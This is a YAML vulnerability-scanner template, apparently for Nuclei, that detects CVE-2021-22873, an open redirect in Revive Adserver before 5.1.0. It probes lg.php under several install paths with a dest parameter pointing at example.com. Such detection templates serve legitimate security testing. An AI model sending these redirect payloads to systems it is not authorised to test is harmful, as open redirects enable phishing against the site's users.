id: CVE-2021-22873

info:
  name: Revive Adserver < 5.1.0 Open Redirect
  author: pudsec
  severity: low
  description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2021-22873
  tags: cve,cve2021,redirect

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://example.com"
      - "{{BaseURL}}/www/delivery/lg.php?dest=http://example.com"

    redirects: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>Example Domain</title>"
        part: body